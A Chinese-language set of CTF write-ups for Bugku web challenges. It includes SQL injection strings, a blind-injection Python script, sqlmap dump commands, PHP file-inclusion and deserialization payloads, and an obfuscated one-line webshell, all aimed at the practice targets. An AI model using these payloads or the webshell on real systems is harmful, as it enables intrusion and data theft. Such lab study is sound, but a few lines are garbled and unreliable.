WEB2

题目链接:
[bugku][http://123.206.87.240:8002/web2/
点击链接出现页面然后按下f12

得到key.

web基础$_POST**

题目链接:

[bugku][http://123.206.87.240:8002/post/

打开还是一段代码,只是换成post方式

$what=$_POST['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';

这次利用火狐的一个插件hackbar,点击Postdata写入what=flag,运行即可.


矛盾

题目链接

[bugku][http://123.206.87.240:8002/get/index1.php

打开还是一段代码,

$num=$_GET['num'];//get请求
if(!is_numeric($num))//is_numeric($num)num=数字,return true,加了"!"所以num=字符进循环
{
echo $num;
if($num==1)
echo 'flag{**********}';
}

php是弱类型语言,==只需要数值等于,类型随意,所以我们用num=1a这个字符串进入if语句.字符串与数字比较时,php会读到第一个不是数字的地方停止.例如下面这段代码

<?php
$a='1a2';
echo (int)$a;
?>
//输出的结果为1

所以构造[bugku][http://123.206.87.240:8002/get/index1.php?num=1a.就可以得到flag.


web3

题目链接

[bugku][http://123.206.87.240:8002/web3/

打开链接有个弹窗,查看网页源代码找到这段代码.

<!--&#75;&#69;&#89;&#123;&#74;&#50;&#115;&#97;&#52;&#50;&#97;&#104;&#74;&#75;&#45;&#72;&#83;&#49;&#49;&#73;&#73;&#73;&#125;-->

unicode编码,解码得KEY{J2sa42ahJK-HS11III}

你必须让他停下

题目链接

[bugku][http://123.206.87.240:8002/web12/

打开链接就不停的闪,用burpsuit抓包看看.发送到repeater,不停的go,当出现第10张图片,就出flag{dummy_game_1s_s0_popular},这题什么意思...


本地包含

题目坏掉了...

转了一下别人写的.

[转][https://blog.csdn.net/dyw_666666/article/details/82389457


变量1

题目链接

[bugku][http://123.206.87.240:8004/index1.php

打开出现一段代码

//flag In the variable ! 
<?php  
error_reporting(0);// 关闭错误报告
include "flag1.php";//调用flag1.php文件
highlight_file(__file__);//函数对文件进行语法高亮显示
if(isset($_GET['args'])){//isset检测变量是否已设置并且非 NULL
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
//正则匹配,"/""/"代表开始合结束"^"开始字符"$"结束字符"\w"代表大小写英文和数字'+'代表可以有多个.
        die("args error!");
    }
    eval("var_dump($$args);");//$$可变变量
}
?>

可变变量解释

<?php
$a='b';
$b='c';
echo $a."\n";
echo $b."\n";
echo $$a;
?>
/*输出结果
b
c
c*/

所以给args传一个全局变量GLOBALS就行了

构造[bugku][http://123.206.87.240:8004/index1.php?args=GLOBALS

php九大全局变量

  • $_POST [用于接收post提交的数据]
  • $_GET [用于获取url地址栏的参数数据]
  • $_FILES [用于文件就收的处理img 最常见]
  • $_COOKIE [用于获取与setCookie()中的name 值]
  • $_SESSION [用于存储session的值或获取session中的值]
  • $_REQUEST [具有get,post的功能,但比较慢]
  • SERVER[是预定义服务器变量的一种,所有SERVER[是预定义服务器变量的一种,所有_SERVER [是预定义服务器变量的一种,所有_SERVER开头的都
  • $GLOBALS [一个包含了全部变量的全局组合数组]
  • $_ENV [ 是一个包含服务器端环境变量的数组。它是PHP中一个超级全局变量,我们可以在PHP 程序的任何地方直接访问它]

web5

题目链接

[bugku][http://123.206.87.240:8002/web5/

题目已经提醒了jsfuck,打开网页发现jsfuck,复制粘贴丢控制台,得到ctf{whatfk}.


头等舱

题目链接

[bugku][http://123.206.87.240:9009/hd.php

打开链接什么都没有,查看源代码也没有,网络请求也没有...

burpsuit抓包,发送到repeater,go一下就出现flag{Bugku_k8_23s_istra}.


网站被黑

题目链接

[bugku][http://123.206.87.240:8002/webshell/

题目说实战经常用到,拿御剑扫描到了webshell.php,发现一个马,弱口令无果,爆破得到密码为hack,输入密码就得到了flag{hack_bug_ku035} .


管理员系统**

题目链接

[bugku][http://123.206.31.85:1003/

先查看源码,没东西,审查元素发现了段base64, dGVzdDEyMw== ,解密得test123,这肯定是密码了,输入账号admin密码test123,说IP禁止访问,请联系本地管理员登陆,IP已被记录. 那么将ip地址伪造为127.0.0.1输入账号密码就得到了flag.


web4

题目链接

[bugku][http://123.206.87.240:8002/web4/

题目让我们查看源码,那就查看源码,发现了一段代码

var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';
var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';
eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));

有url编码,解码得

var p1 = 'function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b';
var p2 = 'aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;';
eval(unescape(p1) + unescape('54aa2' + p2));

有点乱不好看,整理合并eval.

function checkSubmit()
{
    var a=document.getElementById("password");
    if("undefined"!=typeof a)
    	{
            if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
        		return!0;
            alert("Error");
            a.focus();
            return!1
        }
}
document.getElementById("levelQuest").onsubmit=checkSubmit;

读代码,大意就是把那串代码填入输入框点确定就可以.得到flag.


flag在index里

题目链接

[bugku][http://123.206.87.240:8005/post/

这题看题目就想到了php://filter...

点开链接确实,点击click me?no链接,得到[1][http://123.206.87.240:8005/post/index.php?file=show.php

直接构造链接[2][http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php 得到一段base64,解码得到.

<html>
    <title>Bugku-ctf</title>
    
<?php
	error_reporting(0);
	if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>

关于php://filter推荐看看大佬blog [p][https://www.leavesongs.com/PENETRATION/php-filter-magic.html


输入密码查看flag

题目地址

[bugku][http://123.206.87.240:8002/baopo/

提示5位数字密码,直接用burpsuit爆破就ok.

不想发图,就给个链接[1][https://jingyan.baidu.com/article/ca41422f054c881eae99eda0.html 按这个教程就能爆破


点击一百万次

题目地址

[bugku][http://123.206.87.240:9001/test/

查看源码有一段代码

var clicks=0
    $(function() {
      $("#cookie")
        .mousedown(function() {
          $(this).width('350px').height('350px');
        })
        .mouseup(function() {
          $(this).width('375px').height('375px');
          clicks++;
          $("#clickcount").text(clicks);
          if(clicks >= 1000000){
          	var form = $('<form action="" method="post">' +
						'<input type="text" name="clicks" value="' + clicks + '" hidden/>' +
						'</form>');
						$('body').append(form);
						form.submit();
          }
        });
    });

里面有个form表单用到post提交,可以利用hackbar上传clicks值,也可以抓包该包,都可以获取到flag.


备份是个好习惯

题目链接

[bugku][http://123.206.87.240:8002/web16/

点开链接给了串数字,试了下没什么用.

看题目名字是备份,就去试一试 .bak, .svn, .git等等,最后发现了index.php.bak存在,下载后是一段代码.

<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);//不显示错误报告 
$str = strstr($_SERVER['REQUEST_URI'], '?');//返回 ?和 ?后面的所有字符.
$str = substr($str,1);//返回字符串第一个字符以后的所有字符.
$str = str_replace('key','',$str);//将str里面的key替换为空,所有的都要替换.
parse_str($str);//把查询字符串解析到变量中
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?>

把查询字符串解析到变量中例子

<?php
$data = "a=1&b=2";
parse_str($data);
echo $a;
?>
   //输出a=1

前面会将key替换为空,所以利用kekeyy来绕过.

if条件中key1和key2的md5值相同,但是本身不能相等,参考链接[1][https://www.cnblogs.com/xishaonian/p/7628152.html

所以构造[2][http://123.206.87.240:8002/web16/index.php?kkeyey1=240610708&kekeyy2=QNKCDZO

可以获得flag

还有一种绕过if语句的就是数组经过md5加密都为空,后面随便加点东西就绕过了!==,

所以构造[3]:http://123.206.87.240:8002/web16/index.php?kkeyey1[]=240610708&kekeyy2[]=QNKCDZO


成绩单

题目链接

[bugku][http://123.206.87.240:8002/chengjidan/

打开链接发现了一个表单,上面写着1,2,3...这个题一看就是注入,

审查元素发现这段代码

<form action="index.php" method="post"> 
   <input style="width:300px;height:40px;font-size:18px;" name="id" placeholder="1,2,3..." type="text" />
   <br />
   <br />
   <br />
   <br />
   <br /> 
   <input style="width:100px;height:40px;" value="Submit" type="submit" /> 
  </form>

通过post提交,然后name="id"

所以就用hackbar试试post注入,发现没有任何过滤...常规操作.

id=1' and 1=1#
id=1' and 1=2#
id=-1' order by 1# 
id=-1' order by 2# id=1' order by 3# 
id=-1' order by 4# id=1' order by 5# id=' union select 1,2,3,4# 

id=-1' union select 1,2,3,database()# id=' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()# 

id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g'# 

id=-1' union select 1,2,3,skctf_flag from fl4g#

得到BUGKU{Sql_INJECT0N_4813drd8hz4}


秋名山老司机*

题目链接

[bugku]http://123.206.87.240:8002/qiumingshan/

打开链接------亲请在2s内计算老司机的车速是多少,一看就写脚本计算.

#conding:utf-8
import requests
import re
url="http://123.206.87.240:8002/qiumingshan/"
s=requests.Session()
r=s.get(url)
search=re.findall('<div>(.*)</div>',r.text)#正则匹配数学表达式

search=''.join(search)#将得到的列表转为字符串
search=search[:-3]#因为将匹配了"=?;",所以最后3个字符去掉.
result=eval(search)#计算表达式
datas={'value':result}
flag=s.post(url,data=datas)#发送post包.
print(flag.text)#打印响应的内容

输出结果åŸæ¥ä½ ä¹Ÿæº Bugku{YOU_DID_IT_BY_SECOND}


cookies欺骗

题目链接

[bugku]http://123.206.87.240:8002/web11/

打开链接发现一段代码没什么用,然后抓包试试,发现他URL有段base64,解码得到keys.txt,于是想到读取index.php,将其用base64加密,go一下发现了"<?php".

发现url里面有个line=,把这里改成line=2,go一下发现另一段代码,这就是源码了,发送到intruder,爆破line得到完整代码,读源码发现了keys.php.

<?php
error_reporting(0); 
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:""); 
$line=isset($_GET['line'])?intval($_GET['line']):0; 
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ="); 
$file_list = array( 
'0' =>'keys.txt', 
'1' =>'index.php', 
); 
//当有cookies margin=margin时会有keys.php
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){        
$file_list[2]='keys.php';
}   
if(in_array($file, $file_list)){ 
$fa = file($file); 
echo $fa[$line]; 
} 
?>

最后添加cookies,然后访问base64加密后的keys.php,查看源代码得到flag.


never give up

题目链接

[bugku]http://123.206.87.240:8006/test/hello.php?id=1

打开链接查看源码发现所以打开1p.html,结果发现其跳转到bugku社区,用burp抓包得到

发现代码是加密了的.

url解码

var Words ="<script>window.location.href='http://www.bugku.com';</script> 
<!--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ==-->" 
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
} 
OutWord();

发现了base64,解码,得到的代码是经过url编码的,继续解码得

";if(!$_GET['id'])
{
	header('Location: hello.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
//查找 "." 在字符串中第一次出现的位置,如果没有查询到就返回空
if(stripos($a,'.'))
{
	echo 'no no no no no no no';
	return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	require("f4l2a3g.txt");
}
else
{
	print "never never never give up !!!";
}
?>

发现源码里面有f4l2a3g.txt访问就可以得到flag.

但是题目本意应该是绕过16行的代码.

1.id为非空非零且弱等于0,则可以另id='a'

2.data是由函数file_get_contents()读取变量a的值.可以利用php://input访问原始请求数据的只读流,在请求主体中上传"bugku is a nice plateform!"就ok.

3.eregi() 截断漏洞利用,访问到空字符就会截断,就会匹配成功.

所以


welcome to bugkuctf

题目链接

[bugku]http://123.206.87.240:8006/test1/

查看源码

$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  

发现可以通过php://input进入循环,代码里面又提示了hint.php,于是又想到了文件包含,

所以构造?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php

得到了一段base64

PD9waHAgIA0KICANCmNsYXNzIEZsYWd7Ly9mbGFnLnBocCAgDQogICAgcHVibGljICRmaWxlOyAgDQogICAgcHVibGljIGZ1bmN0aW9uIF9fdG9zdHJpbmcoKXsgIA0KICAgICAgICBpZihpc3NldCgkdGhpcy0+ZmlsZSkpeyAgDQogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgDQoJCQllY2hvICI8YnI+IjsNCgkJcmV0dXJuICgiZ29vZCIpOw0KICAgICAgICB9ICANCiAgICB9ICANCn0gIA0KPz4gIA==  
<?php    
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
			echo "<br>";
		return ("good");
        }  
    }  
}  
?>  

发现flag.php,读flag.php没东西,读一下index.php发现解码

<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  
  
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){ 
		echo "不能现在就给你flag哦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password); //反序列化. 
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}  
  
?>  
  
<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->  

发现代码里面有反序列化,于是就可以通过序列化得到flag.php里面的值,再将其反序列化输出

<?php
    class Flag{
    public $file;
	}
	$a=new Flag();
    $a->file=flag.php;
    $a=serialize($a);
    print_r($a);
//值为  O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
?>

于是构造payload


过狗一句话

<?php $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) ?>

就是一句话木马

paylod ?s=print_r(scandir('./'))

scandir() 函数 返回一个数组,数组包含指定路径中的文件和目录

print_r()函数 以易于理解的格式打印变量


字符正则

题目链接

[bugku]http://123.206.87.240:8002/web10/

 <?php 
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){ 
  die('key is: '.$key);
}
?> 

看代码就是绕过正则就ok了

/..../ 代表开始和结束

. 表示任意字符

*表示后面字符1个或者多个

{4,7} 表示前面的字符要匹配4-7次

/ 表示 / ,

[a-z] 表示在a-z中匹配

[[:punct:] ]表示任意匹配标点符号

i 表示大小写不敏感

于是 ?id=key1keykeykey11111key:/1/1keya,

正则参考链接[link]https://www.cnblogs.com/afarmer/archive/2011/08/29/2158860.html


前女友(SKCTF)

题目链接

[bugku]http://123.206.31.85:49162/index.php

查看源码发现code.txt,打开发现一段代码

<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){
        if(!strcmp($v3, $flag)){ 
         	//返回值:如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
            echo $flag;
        }
    }
}
?>

代码意思是v1和v2本身不相等,但是md5值相等进入循环,v3值和flag值相等输出flag

php黑魔法,参考链接[link]http://www.cnblogs.com/xishaonian/p/7628152.html

v1=240610708 &v2=QNKCDZO

strcmp()可以利用数组绕过既可以 v3[]=a

最后构造 ?v1=240610708&v2=QNKCDZO&v3[]=1


login1(SKCTF)

题目链接

[bugku]http://123.206.31.85:49163/

打开链接给了个用户登录注册界面,注册号,登录成功显示"你不是管理员" cookies没东西

题目提示了sql约束攻击

sql约束攻击:

数据库字符串比较,在数据库对字符串进行比较时,如果两个字符的长度不一样,则会将较短的字符串末尾填充空格,使两个字符串的长度一致.

比如

select * from admin where username='vampire'
select * from admin where username='vampire        '

第一段代码和第二段代码查询结果一样,会把空格处理掉0.0

利用这一点,可以用admin 注册将admin的密码重置,登录admin账号得到flag


你从哪里来

题目链接

[bugku]http://123.206.87.240:9009/from.php

打开链接

are you from google?

修改header头

添加 https://www.google.com 得到flag


md5 collision(NUPT_CTF)

题目链接

[bugku]http://123.206.87.240:9009/md5.php

打开链接 input a,题目名字又是md5碰撞

所以就想到hash值以0e开头的字符串0.0

于是构造?a=s214587387a


程序员本地网站

题目链接

[bugku]http://123.206.87.240:8002/localhost/

本地访问,利用X-Forwarded-For伪造ip为127.0.0.1得到flag


各种绕过

题目链接

[bugku]http://123.206.87.240:8002/web7/

打开链接

<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);//url解密
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
    if ($_GET['uname'] == $_POST['passwd'])
        print 'passwd can not be uname.';
    else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
        die('Flag: '.$flag);
    else
        print 'sorry!';
} 

代码意思,uname和passwd的值不同,但是sha值相同,===可以用数组绕过

id==margin,url解密margin所以只需id=margin即可

构造?uname[]=a&id=margin post passwd[]=b


web8

题目链接

[bugku]http://123.206.87.240:8002/web8/

<?php
extract($_GET);//变量覆盖
if (!empty($ac))
{
$f = trim(file_get_contents($fn));//读取文件
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

extract() -使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量.

empty()-判断一个变量是否被认为是空的。当一个变量并不存在,或者它的值等同于FALSE,那么它会被认为不存在。如果变量不存在的话,empty()并不会产生警告。

trim()-移除字符串两侧的空白字符或其他预定义字符。

file_get_contents-将整个文件读入一个字符串

于是构造?ac=a&fn=php://input post上传a


细心

题目链接

[bugku]http://123.206.87.240:8002/web13/

robots.txt下面有resusl.php

打开resusl.php,你不是管理员,但是有段代码

if ($_GET[x]==$password)

于是构造?x=admin,得到flag


求getshell

题目链接

[bugku]http://123.206.87.240:8002/web9/index.php

上传一句话抓包

1.判断第一个绕过点在请求头中的content-type上,因此通过大小写进行绕过(multipart/form-data 是上传文件时使用的格式)

2.第二个绕过点在 上传文件的后缀名上,php5没有被过滤


INSERT INTO注入

题目链接

[bugku][http://123.206.87.240:8002/web15/

error_reporting(0);

function getIp(){
	$ip = '';
	if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){ //先让ip=xff
		$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
	}else{
		$ip = $_SERVER['REMOTE_ADDR'];
	}
	$ip_arr = explode(',', $ip); //将ip用,隔开成几个数组
	return $ip_arr[0];//返回第一个数组,大概就是只返回 ,前的数据

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')"; //注入点
mysql_query($sql);

第10行代码将 ,号后面的字符截断了,意味不能使用if,所以用这一句

select case when A then B else C end;
//当A为真时就执行B,否则执行C

因为,号过滤,所以substr(start,end)和substring也不能用了,但是这里有个小技巧就是使用from 1 for 1代替

'+(select case when substr((select flag from flag) from 1 for 1)='a' then sleep(5) else 0 end))%23

substr()函数参考链接[]:http://www.cnblogs.com/ahu-lichang/p/9494909.html

网上找的脚本,没跑出来....

感觉题目出了问题...

# -*- coding:utf-8 -*-
import requests
import sys

sql = "127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)=‘{1}‘ then sleep(5) else 0 end))--+"
url = 'http://123.206.87.240:8002/web15/'
flag = ""
for i in range(1,50):
    # 怀疑flag有40个那么长,所以以40为长度进行猜测
    print('正在猜测:',str(i))
    # 把i变成字符串格式输出出来
    for ch in range(33,129):
        print(ch)
        # 遍历整个acsii码表
        if ch >= 128:
            sys.exit(0)
            # 如果都跑都这儿了,说明有问题了,程序退出
        sqli = sql.format(i,chr(ch))
        # format是格式化输出语句,i给到sql语句的{0}位置,chr(ch)给到{1}的位置。(chr()的作用是根据acsii码值返回对应的字符)
        print(sqli)
        header = {
            'X-Forwarded-For':sqli
            # 每次去伪造不同的ip(注入命令)嘛
        }
        try:
            html = requests.get(url, headers=header, timeout=4)
        # 大部分的情况肯定是猜错了,如果错了(等待超过三秒),那就继续循环;
        # 如果对了(对脚本来说属于异常),那就跳到异常
        except:
            flag += chr(ch)
            print(flag)
            break

这是一个神奇的登陆框

题目链接

[bugku][http://123.206.87.240:9001/sql/

打开链接就一个登录框,发现 “ 引起注入,于是抓包用sqlmap

sqlmap -r "/home/deepin/Desktop/22.txt" -p admin_name --dbs //获取数据库
sqlmap -r "/home/deepin/Desktop/22.txt" -D bugkusql1 -p admin_name --tables // 获取列表
sqlmap -r "/home/deepin/Desktop/22.txt" -T flag1 -p admin_name --columns //获取字段
sqlmap -r "/home/deepin/Desktop/22.txt" -D bugkusql1 -T flag1 -C flag1 -p admin_name --dump //打印字段

多次

题目地址

[bugku][http://123.206.87.240:9004/1ndex.php?id=1

加 ' 报错,字符型注入,

id=1' and 1=1 %23 报错,说明有过滤

异或注入 用 ^ 测试过滤字符,两个条件相同(同真或同假)即为假.

id=1' ^ (0) %23 正确

id=1’ ^ (1) %23 错误

因此 id=1'^(length('and')!=0)%23 如果and被过滤,那么length('and')==0 和!=0矛盾返回0,所以页面应该返回真确

用同样的方法测试了or,union,select都被过滤.

后面发现双写能绕过

id=-1' ununionion seselectlect 1,2%23 发现2有回显.

//爆表
id=-1' ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema="web1002-1" %23
//爆列
id=-1' ununionion seselectlect 1,group_concat(column_name) from infoorrmation_schema.columns where table_name="flag1" %23
//爆内容
id=-1' ununionion seselectlect 1,group_concat(flag1) from flag1 %23

//得到usOwycTju+FTUUzXosjr ,是个假flag
//于是继续爆破
id=-1' ununionion seselectlect 1,group_concat(address) from flag1 %23
//得到下一关地址 ./Once_More.php

第二关,开始很正常,后面发现union 就开始被过滤了. 双写绕过union,但是select双写绕过没起作用,应该是被吃掉了.

于是这里应该有两种思路:

基于extractvalue()和updatexml()的报错注入
id=1'and updatexml(1,concat("~",(select database())),1)%23
id=1'and extractvalue(1,concat("~",(select database())))%23

extractvalue报错注入

参考链接[]https://blog.csdn.net/dyw_666666/article/details/83450701

updatexml报错注入

参考链接[]https://blog.csdn.net/qq_26090065/article/details/82708691

第二种思路就是盲注了

这个题substr函数被过滤了,mid这个函数没有被过滤(mid使用方法与substr一样),于是将substr替换为mid

盲注

参考链接[]https://blog.csdn.net/qingchenldl/article/details/84576351